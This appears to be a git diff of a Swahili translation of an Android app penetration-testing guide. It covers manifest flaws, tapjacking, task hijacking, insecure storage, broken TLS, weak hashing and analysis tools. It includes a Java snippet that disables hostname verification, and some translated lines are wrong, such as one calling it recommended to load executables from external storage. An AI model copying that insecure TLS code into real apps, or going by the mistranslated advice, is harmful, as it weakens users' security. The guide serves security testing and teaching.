Tilia maanani maalum **URLs za firebase** na hakikisha kama imeconfigure vibaya. [Maelezo zaidi kuhusu ni nini Firebase na jinsi ya kuitumia vibaya hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Kuelewa Msingi wa Programu - Manifest.xml, strings.xml
|
||||
|
||||
|
@ -83,19 +83,19 @@ Tilia maanani maalum **URLs za firebase** na hakikisha kama imeconfigurewa vibay
|
|||
**Mapungufu** yaliyobainika kutoka kwa **Manifest.xml** ni pamoja na:
|
||||
|
||||
* **Programu za Debuggable**: Programu zilizowekwa kama debuggable (`debuggable="true"`) kwenye faili ya _Manifest.xml_ zinaweza kuwa hatari kwani zinaruhusu uhusiano ambao unaweza kusababisha unyanyasaji. Kwa uelewa zaidi kuhusu jinsi ya kutumia vibaya programu za debuggable, rejea mafunzo kuhusu kutafuta na kutumia vibaya programu za debuggable kwenye kifaa.
|
||||
* **Mipangilio ya Backup**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia habari nyeti ili kuzuia nakala za data zisizoidhinishwa kupitia adb, hasa wakati uwezeshaji wa kudebugi kupitia usb unawezeshwa.
|
||||
* **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pins za vyeti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa udomeni maalum.
|
||||
* **Mipangilio ya Backup**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia habari nyeti ili kuzuia nakala za data zisizoidhinishwa kupitia adb, hasa wakati uwezeshaji wa usb debugging unawezeshwa.
|
||||
* **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya desturi (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pins za vyeti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa udomen fulani.
|
||||
* **Shughuli na Huduma Zilizowekwa Wazi**: Kutambua shughuli na huduma zilizowekwa wazi kwenye manifest kunaweza kufichua vipengele vinavyoweza kutumiwa vibaya. Uchambuzi zaidi wakati wa majaribio ya moja kwa moja unaweza kufunua jinsi ya kutumia vibaya vipengele hivi.
|
||||
* **Watoa Huduma wa Yaliyomo na Watoa Faili**: Watoa huduma wa yaliyomo waliowekwa wazi wanaweza kuruhusu ufikiaji usioidhinishwa au ubadilishaji wa data. Usanidi wa Watoa Faili pia unapaswa kuchunguzwa kwa makini.
|
||||
* **Wapokeaji wa Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyanyasaji, kwa umakini maalum kwa jinsi mipango ya URL inavyosimamiwa kwa mapungufu ya kuingiza.
|
||||
* **Toleo za SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo za Android zinazoungwa mkono, ikisisitiza umuhimu wa kutokuidhinisha toleo za zamani, zenye mapungufu za usalama za Android kwa sababu za usalama.
|
||||
* **Watoa Huduma wa Yaliyomo na Watoa Faili**: Watoa huduma wa yaliyomo waliowekwa wazi wanaweza kuruhusu ufikiaji usiohalali au ubadilishaji wa data. Usanidi wa Watoa Faili pia unapaswa kuchunguzwa kwa makini.
|
||||
* **Wapokeaji wa Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyanyasaji, kwa umakini maalum jinsi mipango ya URL inavyosimamiwa kwa mapungufu ya kuingiza.
|
||||
* **Toleo za SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo za Android zinazoungwa mkono, ikisisitiza umuhimu wa kutokuunga mkono toleo za Android zilizopitwa na wakati kwa sababu za usalama.
|
||||
|
||||
Kutoka kwa faili ya **strings.xml**, habari nyeti kama vile funguo za API, mipangilio ya desturi, na maelezo mengine ya watengenezaji yanaweza kugunduliwa, ikisisitiza umuhimu wa kupitia upya kwa uangalifu rasilimali hizi.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbovu** inazinduliwa na **kujipanga juu ya programu ya mwathiriwa**. Mara tu inapofunika programu ya mwathiriwa, kiolesura chake cha mtumiaji kimeundwa kwa njia ambayo inadanganya mtumiaji kuingiliana nacho, wakati inapitisha mwingiliano kwa programu ya mwathiriwa.\
|
||||
Kimsingi, inamfanya mtumiaji **kushindwa kujua kwamba kimsingi anatekeleza vitendo kwenye programu ya mwathiriwa**.
|
||||
**Tapjacking** ni shambulio ambapo **programu** **inayodhuru** inazinduliwa na **kujipanga juu ya programu ya mwathiriwa**. Mara tu inapofunika programu ya mwathiriwa, kiolesura chake cha mtumiaji kimeundwa kwa njia ambayo inadanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano kwa programu ya mwathiriwa.\
|
||||
Kimsingi, inamfanya **mtumiaji ashindwe kujua kwamba kimsingi anatekeleza vitendo kwenye programu ya mwathiriwa**.
|
||||
|
||||
Pata habari zaidi hapa:
|
||||
|
||||
|
@ -105,7 +105,7 @@ Pata habari zaidi hapa:
|
|||
|
||||
### Task Hijacking
|
||||
|
||||
**Shughuli** yenye **`launchMode`** iliyowekwa kama **`singleTask` bila `taskAffinity`** iliyoelezwa inaweza kudhuriwa na Task Hijacking. Hii inamaanisha, kwamba **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuteka kazi ya programu halisi** (hivyo mtumiaji atakuwa anaingiliana na **programu mbovu akidhani anatumia ile halisi**).
|
||||
**Shughuli** yenye **`launchMode`** iliyowekwa kama **`singleTask` bila `taskAffinity`** iliyoelezwa inaweza kushambuliwa na Task Hijacking. Hii inamaanisha, kwamba **programu** inaweza kusakinishwa na ikizinduliwa kabla ya programu halisi inaweza **kuteka kazi ya programu halisi** (hivyo mtumiaji atakuwa anashirikiana na **programu ya dhuluma akidhani anatumia ile halisi**).
|
||||
|
||||
Maelezo zaidi katika:
|
||||
|
||||
|
@ -117,10 +117,10 @@ Maelezo zaidi katika:
|
|||
|
||||
**Uhifadhi wa Ndani**
|
||||
|
||||
Kwenye Android, faili **zilizohifadhiwa** kwenye **uhifadhi wa ndani** zimedhamiriwa kuwa **inapatikana** kipekee na **programu** iliyo **iumba**. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla ni ya kutosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, watengenezaji mara nyingine hutumia njia kama vile `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ku **ruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuili upatikanaji** wa faili hizi na programu nyingine, ikiwemo zile zenye nia mbaya.
|
||||
Kwenye Android, faili zilizohifadhiwa kwenye **uhifadhi wa ndani** zimedhamiriwa kuwa **inapatikana** kipekee na **programu** iliyoziunda. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla ni ya kutosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, watengenezaji mara nyingine hutumia njia kama vile `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` kuwaruhusu faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuili upatikanaji** wa faili hizi na programu nyingine, ikiwemo zile zenye nia mbaya.
|
||||
|
||||
1. **Uchambuzi Statis:**
|
||||
* **Hakikisha** matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa **kwa umakini**. Njia hizi **zinaweza kufichua** faili kwa **upatikanaji usiokusudiwa au usiothibitishwa**.
|
||||
* **Hakikisha** matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa **kwa umakini**. Njia hizi **zinaweza kufichua** faili kwa **upatikanaji usiokusudiwa au usiohalali**.
|
||||
2. **Uchambuzi wa Moja kwa Moja:**
|
||||
* **Thibitisha** **ruhusa** zilizowekwa kwenye faili zilizoundwa na programu. Hasa, **angalia** kama kuna faili zilizowekwa kuwa za kusomwa au kuandikwa na kila mtu. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili au nia yake, kusoma au kuhariri faili hizo.
|
||||
|
||||
|
@ -129,52 +129,52 @@ Kwenye Android, faili **zilizohifadhiwa** kwenye **uhifadhi wa ndani** zimedhami
|
|||
Wakati unashughulika na faili kwenye **uhifadhi wa nje**, kama vile Kadi za SD, tahadhari fulani inapaswa kuchukuliwa:
|
||||
|
||||
1. **Upatikanaji**:
|
||||
* Faili kwenye uhifadhi wa nje ni **zinazosomwa na kuandikwa kimataifa**. Hii inamaanisha programu au mtumiaji yeyote anaweza kupata faili hizi.
|
||||
* Faili kwenye uhifadhi wa nje ni **zinazosomwa na kuandikwa kimataifa**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizo.
|
||||
2. **Masuala ya Usalama**:
|
||||
* Kwa kuwa ni rahisi kupata, inashauriwa **kutokuhifadhi habari nyeti** kwenye uhifadhi wa nje.
|
||||
* Kwa kuwa ni rahisi kufikia, inashauriwa **kutokuhifadhi habari nyeti** kwenye uhifadhi wa nje.
|
||||
* Uhifadhi wa nje unaweza kuondolewa au kufikiwa na programu yoyote, ikifanya kuwa si salama.
|
||||
3. **Kushughulikia Data kutoka kwa Uhifadhi wa Nje**:
|
||||
* Daima **fanya uthibitishaji wa kuingiza** kwenye data inayopatikana kutoka kwa uhifadhi wa nje. Hii ni muhimu kwa sababu data inatoka kwenye chanzo kisichoweza kuthibitishwa.
|
||||
* Daima **fanya uthibitishaji wa kuingiza** kwenye data inayopatikana kutoka kwa uhifadhi wa nje. Hii ni muhimu kwa sababu data inatoka kwenye chanzo kisichoweza kudhibitishwa.
|
||||
* Kuhifadhi faili za kutekelezeka au faili za darasa kwenye uhifadhi wa nje kwa kupakia kwa muda ni jambo linalopendekezwa sana.
|
||||
* Ikiwa programu yako lazima ipate faili za kutekelezeka kutoka kwa uhifadhi wa nje, hakikisha faili hizi zinasainiwa na kuthibitishwa kwa njia ya kriptografia kabla ya kupakiwa kwa muda. Hatua hii ni muhimu kwa kudumisha usalama wa programu yako.
|
||||
|
||||
Uhifadhi wa nje unaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Uhifadhi wa nje unaweza **kufikiwa** kwenye `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unazuia upatikanaji kutoka kwa programu kwenye saraka maalum kwa ajili ya programu hiyo**. Hii inazuia programu mbovu kupata upatikanaji wa kusoma au kuandika faili za programu nyingine.
|
||||
Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unazuia upatikanaji kutoka kwa programu kwenye saraka maalum kwa ajili ya programu hiyo**. Hii inazuia programu zenye nia mbaya kupata upatikanaji wa kusoma au kuandika faili za programu nyingine.
|
||||
{% endhint %}
|
||||
|
||||
**Data nyeti iliyohifadhiwa kwa maandishi wazi**
|
||||
|
||||
* **Mapendeleo ya Kushirikiana**: Android inaruhusu kila programu kuokoa faili za xml kwa njia rahisi katika njia `/data/data/<jina la pakiti>/shared_prefs/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi katika saraka hiyo.
|
||||
* **Maktaba za Data**: Android inaruhusu kila programu kuokoa maktaba za sqlite katika njia `/data/data/<jina la pakiti>/databases/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi katika saraka hiyo.
|
||||
* **Mapendeleo ya Kushirikiana**: Android inaruhusu kila programu kuokoa faili za xml kwenye njia `/data/data/<jina la pakiti>/shared_prefs/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye saraka hiyo.
|
||||
* **Maktaba za Data**: Android inaruhusu kila programu kuokoa maktaba za sqlite kwenye njia `/data/data/<jina la pakiti>/databases/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye saraka hiyo.
|
||||
|
||||
### TLS iliyovunjika
|
||||
### TLS Ilivunjika
|
||||
|
||||
**Kubali Vyeti Vyote**
|
||||
**Kukubali Vyeti Vyote**
|
||||
|
||||
Kwa sababu fulani mara nyingine watengenezaji wanakubali vyeti vyote hata kama kwa mfano jina la mwenyeji halilingani na mistari ya msimbo kama ifuatavyo:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
### Ufumbuzi wa Kuvunja
|
||||
### Ufunguo wa Kuvunja
|
||||
|
||||
**Mchakato Mbaya wa Usimamizi wa Funguo**
|
||||
**Mchakato Mbaya wa Usimamizi wa Ufunguo**
|
||||
|
||||
Baadhi ya watengenezaji hufadhaisha data nyeti kwenye uhifadhi wa ndani na kuiweka katika fomati ya siri na funguo zilizowekwa/kutabirika kwenye nambari. Hii haipaswi kufanywa kwani baadhi ya kugeuza inaweza kuruhusu wachomaji kuchimba habari za siri.
|
||||
Baadhi ya watengenezaji hufadhi data nyeti kwenye hifadhi ya ndani na kuiweka kwenye kificho kilichowekwa/kinachoweza kutabirika kwenye nambari. Hii haipaswi kufanywa kwani baadhi ya kugeuza inaweza kuruhusu wachomaji kutoa habari za siri.
|
||||
|
||||
**Matumizi ya Alama za Usalama Zisizo Salama na/au Zilizopitwa na Wakati**
|
||||
**Matumizi ya Alama za Usalama na/au Alama za Zamani**
|
||||
|
||||
Watengenezaji hawapaswi kutumia **alama zilizopitwa na wakati** kufanya **uchunguzi wa idhini**, **kuhifadhi** au **kupeleka** data. Baadhi ya alama hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** hutumiwa kuhifadhi nywila kwa mfano, hashes zenye **upinzani wa nguvu wa kugeuza** zinapaswa kutumika pamoja na chumvi.
|
||||
Watengenezaji hawapaswi kutumia **alama za zamani** kufanya **uchunguzi wa idhini**, **kufadhi** au **kupeleka** data. Baadhi ya alama hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** hutumiwa kuhifadhi nywila kwa mfano, hashes zenye **upinzani wa nguvu wa kuvunja** zinapaswa kutumika pamoja na chumvi.
|
||||
|
||||
### Uchunguzi Mwingine
|
||||
|
||||
* Inapendekezwa **kuficha APK** ili kufanya kazi ya kugeuza iwe ngumu kwa wachomaji.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **uchunguzi wake kuona ikiwa simu ya mkononi imefunguliwa** na kuchukua hatua kulingana na hilo.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **uchunguzi wake kuona ikiwa simu ya mkononi imepata mizizi** na kuchukua hatua inayofaa.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia ikiwa **emulator** inatumika.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekelezwa** ili kuona ikiwa imebadilishwa.
|
||||
* Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni kipi kimeitumiwa kujenga APK
|
||||
* Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni kipi kimepakwa/kufichwa/kuficha kutumika kujenga APK
|
||||
|
||||
### Programu ya React Native
|
||||
|
||||
|
@ -192,13 +192,13 @@ Soma ukurasa ufuatao kujifunza jinsi ya kupata kwa urahisi nambari ya C# ya prog
|
|||
[xamarin-apps.md](../xamarin-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Programu Zilizojaa Sana
|
||||
### Programu za Superpacked
|
||||
|
||||
Kulingana na chapisho hiki la [**blogi**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) zilizojaa sana ni algorithm ya Meta ambayo hupunguza maudhui ya programu kuwa faili moja. Blogi inazungumzia uwezekano wa kuunda programu ambayo inaweza kufungua programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizofunguliwa kutoka kwenye mfumo wa faili.**
|
||||
Kulingana na chapisho hiki la [**blogi**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithm ya Meta ambayo hupunguza maudhui ya programu kuwa faili moja. Blogi inazungumzia uwezekano wa kuunda programu ambayo inafungua programu za aina hii... na njia ya haraka inayohusisha **kutekeleza programu na kukusanya faili zilizofunguliwa kutoka kwenye mfumo wa faili.**
|
||||
|
||||
### Uchambuzi wa Kanuni wa Stati wa Kiotomatiki
|
||||
### Uchambuzi wa Kanuni wa Statisia wa Kiotomatiki
|
||||
|
||||
Zana ya [**mariana-trench**](https://github.com/facebook/mariana-trench) inaweza kupata **udhaifu** kwa **kuchanganua** kanuni ya programu. Zana hii ina safu ya **vyanzo vilivyofahamika** (ambavyo vinaonyesha zana mahali **ambapo kuingia** kunadhibitiwa na mtumiaji), **mabwawa** (ambayo inaonyesha zana **mahali hatari** ambapo kuingia cha mtumiaji mwenye nia mbaya kinaweza kusababisha uharibifu) na **miongozo**. Miongozo hii inaonyesha **muungano** wa **vyanzo-mabwawa** ambao unaonyesha udhaifu.
|
||||
Zana ya [**mariana-trench**](https://github.com/facebook/mariana-trench) inaweza kupata **udhaifu** kwa **kuchanganua** kanuni ya programu. Zana hii ina safu ya **vyanzo vilivyofahamika** (ambavyo vinaonyesha zana mahali **ambapo kuingia** kunadhibitiwa na mtumiaji), **mabwawa** (ambayo inaonyesha zana **mahali hatari** ambapo kuingia cha mtumiaji mwenye nia mbaya kinaweza kusababisha uharibifu) na **kanuni**. Kanuni hizi zinaonyesha **muungano** wa **vyanzo-mabwawa** ambao unaonyesha udhaifu.
|
||||
|
||||
Kwa maarifa haya, **mariana-trench itapitia kanuni na kupata udhaifu unaowezekana ndani yake**.
|
||||
|
||||
|
@ -206,18 +206,18 @@ Kwa maarifa haya, **mariana-trench itapitia kanuni na kupata udhaifu unaowezekan
|
|||
|
||||
Programu inaweza kuwa na siri (funguo za API, nywila, viungo vilivyofichwa, subdomains...) ndani yake ambazo unaweza kugundua. Unaweza kutumia zana kama [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Kuvuka Uthibitishaji wa Kibaiometriki
|
||||
### Kupita Uthibitishaji wa Kibaiometriki
|
||||
|
||||
{% content-ref url="bypass-biometric-authentication-android.md" %}
|
||||
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Vipengele Vingine vya Kuvutia
|
||||
### Kazi Nyingine za Kuvutia
|
||||
|
||||
* **Utekelezaji wa Kanuni**: `Runtime.exec(), ProcessBuilder(), kanuni ya asili:system()`
|
||||
* **Tuma SMS**: `tumaUjumbe, tumaUjumbeMchanganyiko`
|
||||
* **Vipengele vya asili** vilivyotangazwa kama `asili`: `umma asili, System.loadLibrary, System.load`
|
||||
* [Soma hii ili kujifunza **jinsi ya kugeuza vipengele vya asili**](reversing-native-libraries.md)
|
||||
* **Kazi za asili** zilizotangazwa kama `asili`: `umma asili, System.loadLibrary, System.load`
|
||||
* [Soma hii ili kujifunza **jinsi ya kugeuza kazi za asili**](reversing-native-libraries.md)
|
||||
|
||||
### **Mbinu Nyingine**
|
||||
|
||||
|
@ -232,7 +232,7 @@ Programu inaweza kuwa na siri (funguo za API, nywila, viungo vilivyofichwa, subd
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wachomaji wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Kuvamia**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha kusisimua na changamoto za kuvamia
|
||||
Shiriki na yaliyomo yanayochimba ndani ya msisimko na changamoto za kuvamia
|
||||
|
||||
**Habari za Kuvamia za Wakati Halisi**\
|
||||
Kaa sawa na ulimwengu wa kuvamia unaobadilika haraka kupitia habari na ufahamu wa wakati halisi
|
||||
|
@ -246,7 +246,7 @@ Baki na habari za hivi karibuni kuhusu tuzo mpya za mdudu zinazoanzishwa na sasi
|
|||
|
||||
## Uchambuzi wa Kiotomatiki
|
||||
|
||||
> Kwanza kabisa, unahitaji mazingira ambapo unaweza kusakinisha programu na mazingira yote (cheti cha Burp CA, Drozer na Frida hasa). Kwa hivyo, kifaa kilichofunguliwa (kimeigizwa au la) kinapendekezwa sana.
|
||||
> Kwanza kabisa, unahitaji mazingira ambapo unaweza kusakinisha programu na mazingira yote (cheti cha Burp CA, Drozer na Frida hasa). Kwa hivyo, kifaa kilichopata mizizi (kimeigizwa au la) kinapendekezwa sana.
|
||||
|
||||
### Uchambuzi wa Kiotomatiki Mtandaoni
|
||||
|
||||
|
@ -262,7 +262,7 @@ Kutokana na uhusiano wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya wac
|
|||
|
||||
#### Kutumia kigeuzi
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda vifaa vya **x86** na **arm**, na kulingana na [**hii** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**x86 za hivi karibuni** zinasaidia maktaba za ARM bila kuhitaji kigeuzi cha arm polepole).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda vifaa vya **x86** na **arm**, na kulingana na [**hii** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**x86 za hivi karibuni** zinasaidia maktaba za ARM bila kuhitaji kigeuzi cha arm cha polepole).
|
||||
* Jifunze kuweka katika ukurasa huu:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -280,71 +280,71 @@ Kuweka **huduma za google** (kama Duka la Programu) kwenye Genymotion unahitaji
|
|||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Pia, kumbuka kwamba katika **usakinishaji wa VM ya Android kwenye Genymotion** unaweza kuchagua **mode ya Mtandao wa Daraja** (hii itakuwa muhimu ikiwa utakuwa unajiunganisha kwenye VM ya Android kutoka kwenye VM tofauti na zana).
|
||||
#### Tumia kifaa halisi
|
||||
Pia, kumbuka kuwa katika **usakinishaji wa VM ya Android katika Genymotion** unaweza kuchagua **mode ya Mtandao wa Daraja** (hii itakuwa muhimu ikiwa utakuwa unajiunga na VM ya Android kutoka kwa VM tofauti na zana).
|
||||
#### Tumia kifaa cha kimwili
|
||||
|
||||
Unahitaji kuwezesha chaguo za **debugging** na itakuwa nzuri ikiwa unaweza **kuroot**:
|
||||
|
||||
1. **Mipangilio**.
|
||||
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
|
||||
3. Chagua **Kuhusu simu**.
|
||||
4. Bonyeza **Nambari ya ujenzi** mara 7.
|
||||
4. Bonyeza **Nambari ya kujenga** mara 7.
|
||||
5. Rudi nyuma na utapata **Chaguo za Msanidi programu**.
|
||||
|
||||
> Mara baada ya kusakinisha programu, jambo la kwanza unalopaswa kufanya ni kuitumia na kuchunguza inafanya nini, inafanyaje kazi na kujizoeza nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi wa awali wa kudumu kwa kutumia uchambuzi wa kudumu wa MobSF + pidcat**, hivyo tutaweza **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **yenye kuvutia** ambayo unaweza kuipitia baadaye.
|
||||
> Mara baada ya kusakinisha programu, jambo la kwanza unalopaswa kufanya ni kuitumia na kuchunguza inafanya nini, inafanyaje kazi na kuwa na uzoefu nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi wa awali wa kudumu kwa kutumia uchambuzi wa MobSF + pidcat**, hivyo tutaweza **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **zenye kuvutia** ambazo unaweza kuzipitia baadaye.
|
||||
|
||||
### Kutolewa kwa Data Isiyokusudiwa
|
||||
### Kutolewa kwa Bahati mbaya kwa Data
|
||||
|
||||
**Kuingiza Kumbukumbu**
|
||||
**Kuingiza**
|
||||
|
||||
Watengenezaji wanapaswa kuwa makini kutoa **taarifa za debugging** hadharani, kwani inaweza kusababisha uvujaji wa data nyeti. Zana za [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za programu ili kutambua na kulinda taarifa nyeti. **Pidcat** inapendelewa kwa urahisi wake wa matumizi na uwekaji wa kumbukumbu.
|
||||
Wabunifu wanapaswa kuwa makini kufunua **taarifa za debugging** hadharani, kwani inaweza kusababisha uvujaji wa data nyeti. Zana za [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia magogo ya programu ili kutambua na kulinda taarifa nyeti. **Pidcat** inapendelewa kwa urahisi wake wa matumizi na uwekaji wa maandishi.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tambua kwamba kuanzia **baadaye zaidi ya Android 4.0**, **programu zinaweza tu kupata kumbukumbu zao wenyewe**. Hivyo, programu haziwezi kupata kumbukumbu za programu nyingine.\
|
||||
Tambua kwamba kuanzia **baadaye zaidi ya Android 4.0**, **programu zinaweza tu kupata magogo yao wenyewe**. Hivyo, programu haziwezi kupata magogo ya programu nyingine.\
|
||||
Hata hivyo, bado inapendekezwa **kutoingiza taarifa nyeti**.
|
||||
{% endhint %}
|
||||
|
||||
**Kuhifadhi Kwenye Ubao wa Kunakili/Kubandika**
|
||||
**Kuhifadhi Nakala/Kubandika**
|
||||
|
||||
Mfumo wa **ubao wa kunakili** wa Android unawezesha utendaji wa kunakili/kubandika katika programu, lakini unaweka hatari kwa kuwa **programu nyingine** zinaweza **kupata** ubao wa kunakili, hivyo kufichua data nyeti. Ni muhimu **kulemaza utendaji wa kunakili/kubandika** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia uvujaji wa data.
|
||||
Mfumo wa **ubandikaji** wa Android unawezesha utendaji wa kunakili/kubandika katika programu, lakini unaweka hatari kwa kuwa **programu nyingine** zinaweza **kupata** ubandikaji, hivyo kufichua data nyeti. Ni muhimu **kulemaza utendaji wa kunakili/kubandika** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia uvujaji wa data.
|
||||
|
||||
**Kumbukumbu za Kusitisha**
|
||||
**Magogo ya Kusitisha**
|
||||
|
||||
Ikiwa programu **inasitisha** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia wachomozaji, hasa wakati programu haiwezi kugeuzwa kwa kurudisha nyuma. Ili kupunguza hatari hii, epuka kuingiza kumbukumbu wakati wa kusitisha, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia kituo cha SSL kwa usalama.
|
||||
Ikiwa programu **inasitisha** na **kuhifadhi magogo**, magogo haya yanaweza kusaidia wachomaji, hasa wakati programu haiwezi kugeuzwa kwa nyuma. Ili kupunguza hatari hii, epuka kuingiza wakati wa kusitisha, na ikiwa magogo lazima yatumwe kupitia mtandao, hakikisha yanatumwa kupitia kituo cha SSL kwa usalama.
|
||||
|
||||
Kama pentester, **jaribu kutazama kumbukumbu hizi**.
|
||||
Kama mchambuzi wa kudumu, **jaribu kutazama magogo haya**.
|
||||
|
||||
**Data ya Takwimu Inayotumwa kwa Watu wa Tatu**
|
||||
|
||||
Programu mara nyingi huingiza huduma kama Google Adsense, ambayo inaweza kwa bahati mbaya **kufichua data nyeti** kutokana na utekelezaji usio sahihi wa watengenezaji. Ili kutambua uvujaji wa data, ni vyema **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti inayotumwa kwa huduma za watu wa tatu.
|
||||
Programu mara nyingi huingiza huduma kama Google Adsense, ambayo inaweza kwa bahati mbaya **kufichua data nyeti** kutokana na utekelezaji usio sahihi wa wabunifu. Ili kutambua uvujaji wa data, ni vyema **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti inayotumwa kwa huduma za watu wa tatu.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Programu nyingi zitatumia **databases za ndani za SQLite** kuokoa taarifa. Wakati wa pentest chunguza **databases** zilizoundwa, majina ya **meza** na **vitengo** na data yote iliyookolewa kwani unaweza kupata **taarifa nyeti** (ambayo itakuwa hitilafu).\
|
||||
Zaidi ya programu zitatumia **databases za ndani za SQLite** kuokoa taarifa. Wakati wa kudumu, angalia **databases** zilizoundwa, majina ya **meza** na **vitengo** vyote vya **data** iliyookolewa kwani unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\
|
||||
Databases zinapaswa kuwa katika `/data/data/jina.la.pakiti/databases` kama `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Ikiwa database inaokoa taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nenosiri** ndani ya programu bado ni **hitilafu**.
|
||||
Ikiwa database inaokoa taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**.
|
||||
|
||||
Hesabu meza kwa kutumia `.tables` na hesabu vitengo vya meza kwa kufanya `.schema <jina_la_meza>`
|
||||
|
||||
### Drozer (Shughuli za Utekaji, Watoa Huduma na Huduma)
|
||||
|
||||
